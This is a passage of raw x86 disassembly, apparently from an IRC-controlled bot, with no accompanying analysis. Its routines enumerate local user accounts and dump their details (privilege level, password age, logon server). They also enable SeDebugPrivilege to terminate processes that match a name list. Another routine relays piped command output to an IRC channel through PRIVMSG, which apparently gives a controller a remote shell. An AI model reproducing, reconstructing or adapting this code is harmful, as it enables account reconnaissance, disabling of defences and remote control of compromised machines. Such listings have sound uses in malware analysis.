ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_418C2B push [ebp+arg_4] mov edi, eax call sub_418C2B push [ebp+arg_8] mov [ebp+var_24], eax call sub_418C2B add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CB52C pop edi leave retn sub_418E7C endp ; =============== S U B R O U T I N E ======================================= sub_418ED6 proc near ; CODE XREF: sub_418DB0+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2B push [esp+8+arg_4] mov esi, eax call sub_418C2B pop ecx pop ecx push eax push esi call dword_4CB51C pop esi retn sub_418ED6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EF7 proc near ; CODE XREF: sub_418DB0+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_418C2B push [ebp+arg_4] mov esi, eax call sub_418C2B pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CB6AC test eax, eax mov [ebp+arg_0], eax jnz loc_41929F mov eax, [ebp+var_4] test eax, eax jz loc_4192DA push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41B886 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419016 dec eax jz short loc_41900F dec eax jz short loc_419008 mov eax, offset aUnknown ; "Unknown" jmp short loc_41901B ; --------------------------------------------------------------------------- loc_419008: ; CODE XREF: sub_418EF7+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41901B ; --------------------------------------------------------------------------- loc_41900F: ; CODE XREF: sub_418EF7+105j mov eax, offset aUser_1 ; "User" jmp short loc_41901B ; --------------------------------------------------------------------------- loc_419016: ; CODE XREF: sub_418EF7+102j mov eax, offset aGuest ; "Guest" loc_41901B: ; CODE XREF: sub_418EF7+10Fj ; sub_418EF7+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41B886 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 add esp, 20h pop edi pop ebx jmp short loc_4192CB ; --------------------------------------------------------------------------- loc_41929F: ; CODE XREF: sub_418EF7+35j push eax lea eax, [ebp+var_204] push offset unk_439860 push eax call sub_41B886 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409A73 add esp, 20h loc_4192CB: ; CODE XREF: sub_418EF7+3A6j cmp [ebp+var_4], 0 jz short loc_4192DA push [ebp+var_4] call dword_4CB6E4 loc_4192DA: ; CODE XREF: sub_418EF7+40j ; sub_418EF7+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_418EF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192E0 proc near ; CODE XREF: sub_401ACD+473Cp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_418C2B push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 18h loc_41931F: ; CODE XREF: sub_4192E0+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CB5B4 cmp eax, esi mov [ebp+var_C], eax jz short loc_419380 cmp eax, 0EAh jz short loc_419380 push eax push eax call sub_419460 pop ecx push eax lea eax, [ebp+var_218] push offset unk_439A50 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 24h jmp short loc_4193FB ; --------------------------------------------------------------------------- loc_419380: ; CODE XREF: sub_4192E0+62j ; sub_4192E0+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41940E xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4193FB loc_419392: ; CODE XREF: sub_4192E0+EDj cmp edi, esi jz short loc_4193D1 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419392 jmp short loc_4193FB ; --------------------------------------------------------------------------- loc_4193D1: ; CODE XREF: sub_4192E0+B4j lea eax, [ebp+var_218] push offset unk_439A1C push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 1Ch loc_4193FB: ; CODE XREF: sub_4192E0+9Ej ; sub_4192E0+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41940E push edi call dword_4CB6E4 xor edi, edi mov [ebp+var_4], edi loc_41940E: ; CODE XREF: sub_4192E0+A5j ; sub_4192E0+120j cmp [ebp+var_C], 0EAh jz loc_41931F cmp edi, esi jz short loc_419426 push edi call dword_4CB6E4 loc_419426: ; CODE XREF: sub_4192E0+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4192E0 endp ; =============== S U B R O U T I N E ======================================= sub_419460 proc near ; CODE XREF: sub_418A99+41p ; sub_418C8F+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419512 jz loc_41950B cmp eax, 7Bh ja short loc_4194D7 jz short loc_4194CD cmp eax, 5 jz short loc_4194C3 cmp eax, 8 jz short loc_4194B9 cmp eax, 32h jz short loc_4194AF cmp eax, 35h jz short loc_4194A5 cmp eax, 57h jnz loc_419561 push offset aInvalidParamet ; "Invalid parameter." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194A5: ; CODE XREF: sub_419460+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194AF: ; CODE XREF: sub_419460+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194B9: ; CODE XREF: sub_419460+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194C3: ; CODE XREF: sub_419460+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194CD: ; CODE XREF: sub_419460+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194D7: ; CODE XREF: sub_419460+1Aj sub eax, 7Ch jz short loc_419504 sub eax, 7C8h jz short loc_4194FD dec eax jz short loc_4194F3 dec eax jnz short loc_419561 push offset aDuplicateShare ; "Duplicate share name." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194F3: ; CODE XREF: sub_419460+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194FD: ; CODE XREF: sub_419460+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_419504: ; CODE XREF: sub_419460+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_41950B: ; CODE XREF: sub_419460+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419582 ; --------------------------------------------------------------------------- loc_419512: ; CODE XREF: sub_419460+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41954B jz short loc_419544 sub eax, 8ADh jz short loc_419576 dec eax dec eax jz short loc_41953D dec eax jz short loc_419536 dec eax dec eax jnz short loc_419561 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419582 ; --------------------------------------------------------------------------- loc_419536: ; CODE XREF: sub_419460+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_41953D: ; CODE XREF: sub_419460+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_419544: ; CODE XREF: sub_419460+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419582 ; --------------------------------------------------------------------------- loc_41954B: ; CODE XREF: sub_419460+B9j sub eax, 8CAh jz short loc_41957D sub eax, 17h jz short loc_419576 sub eax, 25h jz short loc_41956F sub eax, 29h jz short loc_419568 loc_419561: ; CODE XREF: sub_419460+35j ; sub_419460+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_419568: ; CODE XREF: sub_419460+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_41956F: ; CODE XREF: sub_419460+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_419576: ; CODE XREF: sub_419460+C2j ; sub_419460+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_41957D: ; CODE XREF: sub_419460+F0j push offset aNetworkConnect ; "Network connection not found." loc_419582: ; CODE XREF: sub_419460+40j ; sub_419460+4Aj ... push offset dword_4DB270 call sub_41B886 pop ecx mov eax, offset dword_4DB270 pop ecx retn sub_419460 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419594 proc near ; CODE XREF: sub_401ACD+4782p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41D834 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 26F0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41D834 lea eax, [ebp+var_718] push eax call sub_41D817 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CB664 test eax, eax jnz short loc_419624 mov esi, offset dword_4DB06C push offset unk_439D84 push esi call sub_41B886 pop ecx pop ecx jmp short loc_41964D ; --------------------------------------------------------------------------- loc_419624: ; CODE XREF: sub_419594+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_419460 pop ecx mov esi, offset dword_4DB06C push eax push offset dword_439D58 push esi call sub_41B886 add esp, 14h loc_41964D: ; CODE XREF: sub_419594+8Ej mov eax, esi pop esi leave retn sub_419594 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419652 proc near ; CODE XREF: sub_416F1B+45p ; sub_416F1B+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 27404D4h push eax call dword_4CB638 test eax, eax jnz short loc_419671 leave retn ; --------------------------------------------------------------------------- loc_419671: ; CODE XREF: sub_419652+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CB610 test eax, eax jz short loc_4196AF cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419698 or [ebp+var_8], 2 jmp short loc_41969C ; --------------------------------------------------------------------------- loc_419698: ; CODE XREF: sub_419652+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41969C: ; CODE XREF: sub_419652+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CB6C0 mov esi, eax loc_4196AF: ; CODE XREF: sub_419652+32j push [ebp+var_4] nop call near ptr 2690934h mov eax, esi pop esi leave retn sub_419652 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196BD proc near ; CODE XREF: sub_401ACD+7916p ; sub_4198EC+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CB674, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_4198BC cmp dword_4CB658, ebx jz loc_4198BC cmp dword_4CB568, ebx jz loc_4198BC push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419652 pop ecx pop ecx push ebx push 0Fh call dword_4CB674 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4198AF lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CB658 mov esi, dword_427068 test eax, eax jz loc_4198AA lea eax, [ebp+var_130] push eax push edi call dword_4CB568 test eax, eax jz loc_4198AA mov edi, dword_427084 mov ebx, 1F0FFFh loc_419781: ; CODE XREF: sub_4196BD+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_4197E8 mov [ebp+var_4], offset off_439DB0 loc_41978F: ; CODE XREF: sub_4196BD+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call near ptr 2870000h nop test eax, eax jz short loc_4197B7 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_439E10 jb short loc_41978F jmp loc_419890 ; --------------------------------------------------------------------------- loc_4197B7: ; CODE XREF: sub_4196BD+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_419890 push 0 push eax nop call near ptr 2730B4Dh test eax, eax jnz loc_419890 loc_4197DE: ; CODE XREF: sub_4196BD+1B9j push [ebp+var_4] call esi jmp loc_419890 ; --------------------------------------------------------------------------- loc_4197E8: ; CODE XREF: sub_4196BD+C9j cmp [ebp+arg_C], eax jnz loc_41987B cmp [ebp+arg_4], eax jz loc_419890 push [ebp+var_128] push 8 call dword_4CB674 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41983B lea ecx, [ebp+var_354] push ecx push eax call dword_4CB514 push [ebp+var_128] test eax, eax jz short loc_419841 lea eax, [ebp+var_234] jmp short loc_419847 ; --------------------------------------------------------------------------- loc_41983B: ; CODE XREF: sub_4196BD+15Cj push [ebp+var_128] loc_419841: ; CODE XREF: sub_4196BD+174j lea eax, [ebp+var_10C] loc_419847: ; CODE XREF: sub_4196BD+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h jmp loc_4197DE ; --------------------------------------------------------------------------- loc_41987B: ; CODE XREF: sub_4196BD+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4198C3 loc_419890: ; CODE XREF: sub_4196BD+F5j ; sub_4196BD+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CB568 test eax, eax jnz loc_419781 xor ebx, ebx loc_4198AA: ; CODE XREF: sub_4196BD+9Dj ; sub_4196BD+B3j push [ebp+var_8] call esi loc_4198AF: ; CODE XREF: sub_4196BD+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419652 pop ecx pop ecx loc_4198BC: ; CODE XREF: sub_4196BD+3Aj ; sub_4196BD+46j ... xor eax, eax loc_4198BE: ; CODE XREF: sub_4196BD+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4198C3: ; CODE XREF: sub_4196BD+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi call near ptr 2730B4Dh nop test eax, eax jnz short loc_4198E7 push edi call esi jmp short loc_4198BC ; --------------------------------------------------------------------------- loc_4198E7: ; CODE XREF: sub_4196BD+223j push 1 pop eax jmp short loc_4198BE sub_4196BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198EC proc near ; DATA XREF: sub_401ACD+26CEo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_439FB0 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41994B push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A73 add esp, 14h loc_41994B: ; CODE XREF: sub_4198EC+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4196BD add esp, 18h test eax, eax jnz short loc_419973 push offset unk_439F8C jmp short loc_419978 ; --------------------------------------------------------------------------- loc_419973: ; CODE XREF: sub_4198EC+7Ej push offset unk_439F68 loc_419978: ; CODE XREF: sub_4198EC+85j lea eax, [ebp+var_298] push eax call sub_41B886 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4199AB push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A73 add esp, 14h loc_4199AB: ; CODE XREF: sub_4198EC+9Dj lea eax, [ebp+var_298] push eax call sub_4151AD push [ebp+var_14] call sub_40B413 pop ecx pop ecx push esi nop call near ptr 2710000h pop edi pop esi sub_4198EC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4199CA proc near ; CODE XREF: sub_401ACD+78B4p ; sub_40B232+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh nop call near ptr 26B0259h mov esi, eax test esi, esi jz short loc_4199FC push 0 push esi call near ptr 2730B4Dh nop test eax, eax jnz short loc_4199FC push esi xor edi, edi nop call near ptr 2690934h loc_4199FC: ; CODE XREF: sub_4199CA+1Aj ; sub_4199CA+27j mov eax, edi pop edi pop esi retn sub_4199CA endp ; --------------------------------------------------------------------------- byte_419A01 db 56h, 33h, 0F6h ; DATA XREF: ___:004015EEo dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 439DAC35h dd 25E89000h, 0EB022875h db 0E3h ; =============== S U B R O U T I N E ======================================= sub_419A21 proc near ; CODE XREF: sub_419A51+2Ap ; sub_419A89+7Ep ... mov eax, dword_4DB8D8 push esi mov esi, dword_427068 cmp eax, 0FFFFFFFFh jz short loc_419A35 push eax call esi loc_419A35: ; CODE XREF: sub_419A21+Fj mov eax, dword_4DB8E0 cmp eax, 0FFFFFFFFh jz short loc_419A42 push eax call esi loc_419A42: ; CODE XREF: sub_419A21+1Cj mov eax, dword_4DB8D4 cmp eax, 0FFFFFFFFh jz short loc_419A4F push eax call esi loc_419A4F: ; CODE XREF: sub_419A21+29j pop esi retn sub_419A21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A51 proc near ; CODE XREF: sub_401ACD+7605p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41AFE0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DB8DC nop call near ptr 2720000h test eax, eax jnz short loc_419A84 call sub_419A21 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419A84: ; CODE XREF: sub_419A51+28j push 1 pop eax leave retn sub_419A51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A89 proc near ; CODE XREF: sub_419B10+D3p ; sub_419B10+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset dword_43D808 push [ebp+arg_4] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_419ACC push 7D0h nop call near ptr 26A0F44h push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41B886 add esp, 10h jmp short loc_419AE3 ; --------------------------------------------------------------------------- loc_419ACC: ; CODE XREF: sub_419A89+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41B886 add esp, 0Ch loc_419AE3: ; CODE XREF: sub_419A89+41j lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CB6A4 test eax, eax jg short loc_419B0C call sub_419A21 loc_419B0C: ; CODE XREF: sub_419A89+7Cj xor eax, eax leave retn sub_419A89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B10 proc near ; DATA XREF: sub_419C65+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DB8E4 loc_419B28: ; CODE XREF: sub_419B10+79j ; sub_419B10+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DB8D8 nop call near ptr 287078Ch test eax, eax jz loc_419BF6 cmp [ebp+var_4], edi jnz short loc_419B8B lea eax, [ebp+var_8] push eax push dword_4DB8D4 call near ptr 28703A4h nop test eax, eax jz short loc_419B81 cmp [ebp+var_8], 103h jnz loc_419C1A loc_419B81: ; CODE XREF: sub_419B10+62j push 0Ah nop call near ptr 26A0F44h jmp short loc_419B28 ; --------------------------------------------------------------------------- loc_419B8B: ; CODE XREF: sub_419B10+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_419BA2 loc_419B92: ; CODE XREF: sub_419B10+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_419BF0 inc eax cmp eax, [ebp+var_4] jb short loc_419B92 loc_419BA2: ; CODE XREF: sub_419B10+80j mov [ebp+var_4], esi loc_419BA5: ; CODE XREF: sub_419B10+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DB8D8 nop call near ptr 2730000h test eax, eax jz short loc_419C42 lea eax, [ebp+var_20C] push eax push ebx push dword_4DB918 call sub_419A89 add esp, 0Ch jmp loc_419B28 ; --------------------------------------------------------------------------- loc_419BF0: ; CODE XREF: sub_419B10+8Aj inc eax mov [ebp+var_4], eax jmp short loc_419BA5 ; --------------------------------------------------------------------------- loc_419BF6: ; CODE XREF: sub_419B10+45j push offset unk_43A038 push ebx push dword_4DB918 call sub_419A89 push [ebp+arg_0] call sub_40B413 add esp, 10h push 1 call near ptr 2710000h nop loc_419C1A: ; CODE XREF: sub_419B10+6Bj call sub_419A21 push offset unk_43A010 push ebx push dword_4DB918 call sub_419A89 push [ebp+arg_0] call sub_40B413 add esp, 10h push edi call near ptr 2710000h nop loc_419C42: ; CODE XREF: sub_419B10+C3j push offset unk_439FE0 push ebx push dword_4DB918 call sub_419A89 push [ebp+arg_0] call sub_40B413 add esp, 10h push edi call near ptr 2710000h nop sub_419B10 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C65 proc near ; CODE XREF: sub_401ACD+2508p var_378 = byte ptr -378h var_178 = byte 